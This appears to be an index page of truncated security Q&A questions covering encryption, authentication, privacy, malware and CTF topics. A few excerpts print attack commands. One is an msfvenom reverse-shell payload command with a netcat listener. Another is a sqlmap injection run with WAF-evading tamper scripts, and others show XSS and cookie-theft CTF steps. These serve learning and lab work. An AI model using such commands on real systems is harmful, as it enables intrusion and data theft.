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My company laptop recently needed a new mainboard as the old one was defective. The repair was carried out by the manufacturer, who sent a field engineer to my home. Since the laptop uses BitLocker with keys stored in the TPM, I asked our IT support guy what I needed to do in order to be able to boot up the laptop with...
I have a MediaWiki website in Hebrew; As common with MediaWiki websites, it has lots of content and rebuilding it in case of a disaster isn't feasible. I chose to give that website a Global TLD (a non Israeli X.il TLD) because: Currently, the Israeli Internet association doesn't allow Israeli domain registrars to suff...
My school started using Google Meet for online classes. The accounts we use are managed by them and they told us that they know the IP of the device that we are logging in from. What else can they know/monitor? Can they see our search history? Our files at Drive, our documents at Google Docs? Do they only see your acti...
I use Outlook to send email. In order to encrypt them, I use S/MIME with a signed certificate. I don't find the answer on how the storage of the email I send is performed. First option as I am the expeditor, the email is stored in clear on my computer. Second, I create an encrypted version of the email for me and I sto...
Unfortunately, I find myself serving a 14d COVID-19 self-isolation period in a hotel which only offers unsecured public WiFi. This has me wondering if all the financial apps on my iPhone with FaceID-enabled sign-ons are secure or not (e.g. Charles Schwab, American Express, etc.) Can anyone comment on the typical securi...
I have some files on an NTFS USB drive. The files were encrypted on a Windows 10 pc and copied to the USB. I had to completely reinstall Windows on the PC. I do not have a backup of the USB files I know the name of the PC, and the username and password. Is it possible to regain access to the files on the USB? I can tak...
Wondering how other organizations manage software update process. We are a startup, were we try to define components owners, which should update them (security updates etc). This does not to seem to work well. People leave, components are left not updated. How to organize effective and working update process in the org...
Someone has a service that uses a FIPS non-compatible hash in a protocol signature. When FIPS 140-2 compatibility is enabled on the hosts the service crashes (due to the hash signature being not allowed by the security configuration of the host). A way to get around this is to put the service in a Docker container on...
I'm making an e-mail system/client. I'm trying to correctly detect incoming e-mails which can be replied to with PGP encryption. This means finding out their public PGP key. I currently do: Parse the e-mail body for a PGP public key block. I suspect that these could be done: Check for attachments with some kind of s...
I suspect that I am being targeted in a man-in-the-middle attack from the ISP or in-between of the fiber cable transit or the node by sniffer hardware that detects and injects the malicious packets. I am using a VPN service and it's encrypted end-to-end but whenever I disconnect the VPN for a local streaming service, f...
The clients can use Google and Facebook OAuth for authentication I need to implement a chat application where the messages are end-to-end encrypted When the user changes device, the client should be able to decrypt the messages downloaded from the server Roughly the end-to-end encryption works like this: Client gen...
I visited website B after visiting website A. Upon clicking the search bar on website B, a dropdown menu appeared containing the words I searched on website A. After clearing my browser history and cookies, the search bar on website B no longer displayed my previous searches on website A. Does this mean that website B...
How is it possible to create an account in a website with completely different credentials without the website being able to link the user of the first account and this new one? Tor is not a viable option because the website does not allow it. Ive tried VPNs but the website was still able to link my phone to the new ac...
I found that AES has dedicated hardware on most machines. The question is can we use ed25519 to replace AES? Instead of using RSA to encrypt the AES key and then encrypt the data with AES, can we just use ed25519 and stop using AES? Are there any performance comparisons between the two? I went through this and couldn't...
My PC is infected with some sort of ransomware. I managed to take out the root processes of the virus (which encrypt and change all document, images and video files to *.repl files) but recovering the infected data is a bit difficult and not many resources available online yet.
I was recently testing for Clickjacking and when I opened developer tools, I was warning Content Security Policy: Ignoring “'unsafe-inline'” within script-src or style-src: nonce-source or hash-source specified Do you guys think it is possible to bypass it, If yes can you share me the further information? Thank You.
What's the chance of guessing valid credit card data that could be used to make a payment online? To me, it looks like it's not extremely hard to guess, but I'm not able to calculate the probability. I mean, it's not like it was designed to be as strong as 128-bit keys, which you know you can't really crack. So I wonde...
I used .asc for ASCII armored (using --armor) encrypted messages. But what extension should I use when encrypting file.tar.gz for example?
I'm trying to figure out if an SQLi for the following PostgreSQL/Java code exists. public void availableItems(String name) { return this.query("SELECT * FROM items WHERE name='"+name+"'"); } Assuming that in the name is removing apostrophe and semicolon. Is it possible to make a SQLi work with this restrictions? my ...
We have a web solution (running in IIS) where AD users and non-AD users need to log into. We sell this to companies and will run this on-prem only. non-AD-FS and only AD question (so no federation) I asked on stackoverflow if it is valid to pass the username and password to the web application and have the application ...
I'm trying to sign a CSR using python-asn1crypto and python-pkcs11. I have an ECC Keypair stored in a Hardware Security Module (HSM). Here's a code sample: key = decode_ec_public_key(encode_ec_public_key(pub)) info = CertificationRequestInfo({ 'version': 0, 'subject': Name.build(subject), 'subject_pk_info'...
I'm trying to understand and perform the Prefetch Side-Channel Attacks:Bypassing SMAP and Kernel ASLR. The author have released the proof-of-concept code. I'm trying to run the attack on my Intel Haswell machine, using Linux Ubuntu 20.04, 64-bit. This attack is based on two property: Property 1 The execution time of p...
Let's say that an attacker wants to search websites for RFI/LFI vulnerability with a script, he's fuzzing the URL with a list of remote/local files. And he prints the headers that return from the request. How can the attacker know when the RFI/LFI was successful? Is the content-length header can tell us something? If ...
Okta recently sent out an email to admins about changes to their new device detection strategy. According to them: Due to browser advancements in anonymous web browsing, JavaScript fingerprinting techniques are quickly becoming obsolete. Google, Mozilla, Microsoft, and Apple are working to improve privacy, gradually ...
This is what I have so far but it is pretty open. *filter :INPUT DROP [0:0] :FORWARD DROP [0:0] :OUTPUT DROP [0:0] -A INPUT -p ipv6-icmp -j ACCEPT -A INPUT -i lo -j ACCEPT -A OUTPUT -p ipv6-icmp -j ACCEPT -A OUTPUT -o lo -j ACCEPT -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT COMMIT If you have time, explai...
I have a VM which is exposed to the internet. I can see a lot of scans for /azenv.php, /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php and like in my server logs. How do I protect from these scans? Am I being targeted for a hack? Is this a concern at all?
I'm trying to make notes about the TPM and what it does. More specifically I'm looking at the 3 RSA key pairs: the 'endorsement key', the 'storage root key' and the 'attestation identity key'. This is what I have written so far: The ‘Endorsement Key’ is an RSA key pair where any data sent to another device is encrypted...
I've been preparing for a CISSP exam and was reading about applied cryptography in regard to email. It's my understanding that the popular schemes (PGP,S/Mime) use a combination of asymmetric and symmetric cryptography. If I'm reading things correctly, in S/MIME, the message is encrypted using a sender generated symmet...
I am setting up a few VM's (assume VirtualBox w/ Linux). They will all be on the same PC host (assume Linux) and the intent is to have all the VM's handle separate functions (business, personal finance, and personal) and have no connection to each other through the network or otherwise. I want to set them up in a way t...
I am trying to hash a list of passwords with PBKDF2-HMAC-SHA1 and then crack them using John. However, John does not recognise the hashes and I get a No Hashes Found error. It works with SHA256, but I need PBKDF2-HMAC-SHA1. I have looked everywhere and have exhausted all my options. What is the correct format of PBKDF2...
Background: I've been using a simple session cookie design for my web app. I have a users table, and a sessions table that basically looks like this: id | user_id | visited_at -----+---------+----------- int | int | timestamp And a session cookie contains just a session ID, signed with a secret key. I give the ...
I was once a customer of a certain developer who sold a SaaS bookkeeping software which allowed sending deal documents (invoice, receipt, etc) to a customer, from the software's very own email server, and any content sent was always digitally signed. I know that in the context of emails, at least four "aspects" can be ...
If I were to encrypt a folder with music files or movie files, or even only the files themselves separately, would that hurt the quality of the files? For example, if I encrypted a lossless audio file, and decrypted it right after, would it lose quality or would it be the exact same file?
I was asking myself, how there are still account generators (e.g. for Steam) wide available for everyone. With account generators I mean programs, that are automatically creating a huge amount of accounts to scam people or something like this. Is it that easy to just bypass those tests without a big pricing or even for...
A person talks about a certain thing (product or service) with another person and a short time after the talk the person gets the advertising of the discussed thing on the mobile or desktop device. I heard and read about such occurrences and didn't know what to think about it. Until some days ago I've personally experi...
If I decided today get new subkeys because I simply want to rotate them or because they are about to expire, do I have to sign all keys of other people I signed with my old signing key again? And if I let my subkeys expire, does that have the same effect as if I revoked them?
My router can be configured by going to 192.168.1.1:80 when connected either by WiFi or by Ethernet cable. Can the same configuration web interface be accessed from the external interface (the public IP of the router)? Some background: I have a "Technicolor TD5130" and I wanted to change the default password that the I...
I am writing a web scrapping application using core Java. However when the application tried to access some https enabled URLs I am getting error. Below are the details. Code: url = new URL("https://stackoverflow.com"); is = url.openStream(); Error: javax.net.ssl.SSLHandshakeException: sun.sec...
My project is a flutter app, it is in Internal Testing only, I am the only user. I've been working on this project for about a month and all of a sudden today I keep getting unknown users registering. These unknown users are not registering through my app otherwise I would see additional data in my Firestore database. ...
I got a HyperX Cloud Stinger headset, wired and 3.5mm connector. Is it possible to infect my headset with some kind of malware? If my headset is infected with any kind of malware, it would transfer some malware to another computer that I plug my headset in. That worries me. If I plug my headset in some computer and tha...
As far as I understand, there should be no problems with using CNAME or DNAME records in connection with DKIM. That is, while the DKIM record for verifiying a mail from someone@example.com wants to be retrieved as a TXTRR under some.selector._domainkey.example.com, it might well be that some redirection occurs, such as...
Users can interfere with any piece of data transmitted between the client and the server, including request parameters, cookies, and HTTP headers. Where is the best way to filter user input, on the client side or in the server side ? If the filtering happening on the client side, users can look at filter implementation...
My problem boils down to the use of Okta's access tokens to secure api endpoint. I followed this okta guide to set up a react single-page application with their wiget. When I log into the site I get a access token to use with my api. I tried to access my api with the access token following this guide On the api side Ok...
If you are buying used device, laptop or game console, or a smartphone - what are the best practices for checking it’s security? How to check if device’s HW wasn’t modified or it is not coming with malware preinstalled by previous user?
I'm reading about Diceware and cryptography in general and I know how secure Diceware can be. I stumble upon this part on The Intercept about Diceware and it says: "You don’t so much need them for logging into a website or something else on the internet. In those situations, you get less benefit from using a high-entr...
For an application with login and logout functionalities and browsing based upon authentication , what all do i need to secure it ? I am basically very new to security and googling is leading to more confusion . To start with i have decided to use JWT as the backbone . the client will log in , he/she gets a jws and the...
If I generate a payload with my IP address and it got detected by the user will my IP exposed?
I woke up this morning to over 900 emails of several online services asking to confirm I’ve made an account. Last month my email had been compromised and they managed to get into my eBay and Amazon accounts. I managed to remedy the situation, and changed my passwords on everything. My password on my email is different ...
I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns information_schema database. Is there something wrong (if so, is there anything I can do to circumvent it ?) or the database really only has 1 data...
I have developed web app, and my customer is saying this piece of code is vulnerable: <a href="#" onclick="count.it('count', 9); console.log(1);">Click "9" is injection point however its in "template" page and count.it is not defined, so not executing console.log(1), is he right and this is security flaw made by me? ...
Malware on the firmware level can potentially mess with data on the storage device. There is no point in doing that for encrypted data except maybe corruption. But what about a smartphone or other device with dm-verity where the system partition is not encrypted. Could this kind of malware break dm-verity?
I am currently doing bug bounty on a company which uses GRAPHQL for their query language and would like to check if CSRF is possible. After playing around with burpsuite I have conclude the following; Company doesn't use csrf token when fetching data Origin and Referer can be erased and request will still work If the...
There's something I don't understand about signatures in Google Maps APIs. The documentation says "We strongly recommend that you use both an API key and digital signature, regardless of your usage". In this case we are talking about the Maps Static API, where requests are made by the frontend with a URL that generates...
I do a distance education program in Australia. My distance ed school sends out laptops to all students on loan until they leave school/the program. The laptop is specifically a Lenovo Thinkpad Yoga 11e (5th Gen) if that makes a difference. My worry is that one of the head teachers had informed us they can tell if you ...
A website I frequent (a Discourse forum) uses Let's Encrypt TLS certificates which are updated every two months with a valid period of three months. But the certificate information shown by Chrome says that the certificate is out-of-date and invalid. Oddly, when you click the padlock icon it does still say "Certificate...
I am downloading large files with their checksums/hashes on a Linux machine with the DNS manually setup to use a publicly available trusted DNS, e.g., Google's 8.8.8.8 since I am aware that DNS can be spoofed to possibly host a compromised version of the files as well as the corresponding checksums/hashes. If I were to...
I am dealing with this problem. I have created a REST API with some resources. Some are app to app based and therefore I expect to get only the Authentication header with my token (client_credentials token). I am using keycloak to validate the tokens. Now I am introducing other resources are that are client-owned, thes...
Having successfully integrated my old web forms app with an ADFS server I got to thinking about how the process works as a whole. The old app passes the user to the remote ADFS, then eventually the user arrives back in our server having a signed-in identity of joe.schmoe@somedomain.com but I'm not entirely clear on whe...
I'm doing some research on PHP's str_shuffle function, I already asked this question multiply times on StackOverflow but got no answer https://stackoverflow.com/questions/61968859/is-it-possible-to-predict-the-next-output-for-the-str-shuffle-function-in-php. I'm interested in how would you break str_shuffle, since PHP'...
I don't have my phone at the moment, since I turned it over yesterday at the shop for a screen replacement. The SIM card is removed and it's sitting in my wallet now. When I opened WhatsApp Web a couple minutes earlier today, I was connected to my account and could send and read new messages. This connection continued ...
When I try to access some web site on firefox I get this: The cut out rectangle is COMPANY-NAME-ROOT-CA and that issuer (COMPANY-NAME-ROOT-CA) was also added as trusted on some peoples PC. But when I visit same site using chrome I don't get such warning and certificate issuer seems to be legitimate (e.g. Let's Encrypt...
For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx I CANNOT use netcat to connect. Instead, use msfconsole to connect: use exploit/multi/handler set paylo...
I came across an infosec presentation from a conference which discussed how ICMP packets can be used to compromise a connection between two machines. More specifically, they described the process as: The attacker can forge a spoofed ICMP packets to force the host to make an ARP request. As a response, an illegitimate ...
When testing our c# application with a service from a new supplier our request was denied because the client certificate was not send. Network traffic with a service where our application is known to work with shows us this: Client Hello Server Hello, Certificate, Certificate Request, Server Hello Done Certificate, Cli...
Context In another question about password generation, I have read an answer suggesting something along the line of: Let your password manager select characters from all the accepted categories (lowercase, uppercase, digits, standard punctuation, extended ASCII characters) and choose a very long length. If the target ...
If two persons are pulling the same docker image (let's say Debian:10.4), they will obtain the same "files" (layers) from the docker repo. So, from what I understand, launching a docker image is not exactly like a fresh install, it is more like a preinstalled OS. So I guess the two docker images debian:10.4 launched in...
Say Alice produces a bit of intellectual property, let's call it X. Alice is all for the freedom of information, so publishes X, without charge, electronically (e.g., on her website), asserting her copyright. Bob comes along and finds X. He is so captivated by the content of which, he is moved to jealousy: He republish...
I like to generate a public-private key pair that is seeded from a string. So having the string and the generation algorithm is enough to recreate the keys. I want to do this because I can then combine a password (that I'll memorize), with a long, secret (randomly generated) text file (that I'll store securely), and ge...
In the SSH spec, Section 7.1, key exchange algorithms are distinguished based on whether they require an "encryption-capable" or a "signature-capable" host key algorithm. If I understood their details correctly, the well-known DH-based key exchanges algorithms such as curve25519-sha256, diffie-hellman-group14-sha256 an...
Third-party password managers such as 1password, etc. are useful for people, businesses, etc. to store passwords. But I bet Facebook, Google, Twitter and other super big tech companies don't use such third-party services for their internal passwords and have their own password managers for their most critical passwords...
I'm currently doing an online CTF and I have LFI an can read the source code of the upload function. In there I see the following line: shell_exec('rm -rf ' . directory/ . '*.p*'); So anytime I upload a .php file, it gets deleted. Is there a way to break out the code so the remove of *.p* file never happens or can I e...
I need to backup files with preserved attributes from a source workstation to a LAN server (both on Linux Mint, the server is running sshd and Samba). One of the solutions which preserves files' source attributes is to run rsync over ssh, something like that on the client side: rsync -a --rsync-path="sudo rsync" -e ssh...
My question is based on to secure REST API's. We have to publish a REST API and we want only certain consumers to consume the API. I was thinking of one way is to use asymmetric encryption. The steps I was about to follow: Generate a public/private key pair Export the public key in the form of X.509 certificate Share ...
I use Transport Layer Security (TLS) and I am building a prototype for a client application that will only talk to an authenticated server.Even if I wind up using certificates to authenticate the server, I should not use the same certificates to protect the communications channel and to authenticate the server.so : "Sh...
I'm trying to figure out how to cross-sign two keys. One reference says we should use: gpg --local-user 0xfedcba98 --edit 0x76543210 sign gpg --local-user 0x76543210 --edit 0xfedcba98 sign That's an old reference, so I assume we should be using --edit-key now. When I try, I am able to get the first key to sign the s...
Thirdparty pentest company reported their findings in our iOS app. In the report explanation for this vulnerability is Apple provides default encryption for applications; however, the encryption could easily be bypassed by using publicly available tools such as Clutch. This was verified by performing static analysis t...
I'd like to know what are the risks having a subdomain managed by third party. For example, I manage my own DNS servers to serve mydomain.example which provide some internal and public content. If I develop a Cloud app on a Cloud provider and I want the domain for this app served by this Cloud provider, let's say sub.m...
I am planning to evaluate and install a publicly available software. https://github.com/opensemanticsearch/open-semantic-search While reviewing the issues on github, there is an issue open which indicates possible remote code execution for Solr with screenshots. https://github.com/opensemanticsearch/open-semantic-searc...
I know there are many limitations for data storing and processing by PCI DSS. Some of them are explained here. https://www.pcisecuritystandards.org/pdfs/pci_fs_data_storage.pdf But I can't find any info about storing customers' billing addresses. Is this means that PCI allows it for any merchants / service providers?
Snowflake is a cloud database like Google BigQuery or Amazon Redshift. Unlike them, however, it markets a "Secure Data Sharing" feature. They go to some effort (including a full "Data Sharing for Dummies" book) to position this as something unique. In terms of clearly defining who has access to what in a user-friendly ...
Recently, there has been some news articles about unsolicited attacks on unsecured public facing Elastic and Mongo databases. These are commonly being called "Meow" attacks, resulting in entire databases being deleted without ransom or warning. My question is: What is the nature of the attack (How is the database bein...
For once, I'm not talking about digital signatures. I'm talking about good old-fashioned pen and paper signatures. Should I protect my signature like I protect my passwords? Is it a genuine security risk if my signature is known? Intuitively this doesn't make sense to me because many famous signatures are well-known, a...
I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom. My only problem is that my session doesn't seem persistent as I'm getting Meterpreter session opened and then died. For more context, bwapp is on a bridged ...
I had to call customer service recently regarding my 401(k) and robo call in the beginning asked me to enter my social security number using the keypad followed by a # and then asked for my account password using the keypad followed by # where special characters are *. If the passwords are stored as hashes in their dat...
Many Linux distributions (e.g. Fedora) recommend using downloaded signing keys to verify the integrity of downloaded checksums. This seems utterly ridiculous to me, since the downloaded keys are just as suspect as the downloaded checksums. And checking key fingerprints is exactly the same thing, i.e. the page with the ...
Two questions on signatures. I am trying to understand the various types of "trust signature". The man page says, "For more information please read the sections “Trust Signature” and “Regular Expression” in RFC-4880." Rather than go to the RFC, maybe someone could help with these basics. We have these choices when r...
I am doing some unattended key generation using --quick-gen-key and --quick-add-key. I am not clear if the user-id mentioned in the man page offers a way to include a comment: --quick-generate-key user-id [algo [usage [expire]]] I usually see this used as "My Name My@email.com".
I am designing a system that uses a certain biometric vector as a secondary user identification step before authorizing a payment. My system does not handle payment card details, rather the payment card processor consumes my service to authenticate the user (as an additional step). In order to do this, my system needs ...
Saw this in the journalctl for a service I have: jul 29 12:39:05 ubuntu-18 node[796]: GET http://www.123cha.com/ 200 147.463 ms - 8485 jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.rfa.org/english/ - - ms - - jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.minghui.org/ - - ms - - jul 29 12:39:11 ubun...
How should one structure and how should a Security Team work in an agile organization (100 devs). Found this article: https://kislayverma.com/organizations/independence-autonomy-and-too-many-small-teams/ Where I agree with it, for software dev, I am not sure if this will be applicable to Security Teams. Security Team i...
Goal To hide the IP address using Tor, which goes through a proxy server to make HTTP/FTP requests look like they came from a regular user, not one who uses Tor. Example A user requests the website. The request goes through the user's VPN, which then goes through Tor, which connects to a proxy server that finally makes...
I am a currently analyzing the available Cloud services allowing End-To-End Encryption for file sharing. It looks like, for each solution I found, if Alice wants to send an encrypted file to Bob, she will have to trust the server when she will ask for Bob's public key, in order to send him the "file key" securely. My q...
Can someone have access to my iPhone if my router is compromised? Such as: having access to my Gmail app on iPhone access to my Gmail/other passwords be able to send or delete mails via iPhone?
Let's suppose we have a software update D, that is encrypted and signed and delivered to some component C. Further we suppose that the receiving entity C can validate the signature and decrypt the software successfully. I asking myself whether the sending entity needs to authenticate itself to C, e.g. by means an authe...
https://dnscrypt.info/faq/ states for both DNS over HTTPS and DNS over TLS that it Provides more information than regular DNS to resolver operators in order to fingerprint clients How so?
How I can fuzz a request with 3 parameters (locations) and 3 payloads: request1 => parameter1=payload1.1; parameter2=payload2.1; parameter3=payload3.1; request2 => parameter1=payload1.2; parameter2=payload2.2; parameter3=payload3.2; request3 => parameter1=payload1.3; ...
I'm currently completing an XSS challenge in a CTF. I successfully redirect the admin cookie to my request bin, but the flag is said to be invalid. I am told this is because the flag string gets transformed when I try and send it to my own server (e.g. URL encoding messing something up). How would I go about properly e...
I'm getting regular attacks 2020-07-29 14:44:42 Security Warning ‭Intrusion -> SRC=80.227.225.108 DST=(my ip here) LEN=40 TOS=0x00 PREC=0x00 TTL=235 ID=63607 PROTO=TCP SPT=52363 DPT=1433 WIN‭ it's every 10 mins as I can see I changed wifi password and made it hidden AP and the attacks still coming. I even disconnected...
Can the password that one type be compromised if mobile is connected to a compromised router since everything has to go through the router?
I'm reading up on some OpenID Connect documentation trying to get my head around the protocol. I came across the issuer property that is common in the JWT tokens. How come this is required if we should always check the signature of the token against the expected endpoint? I understand that one can validate against eith...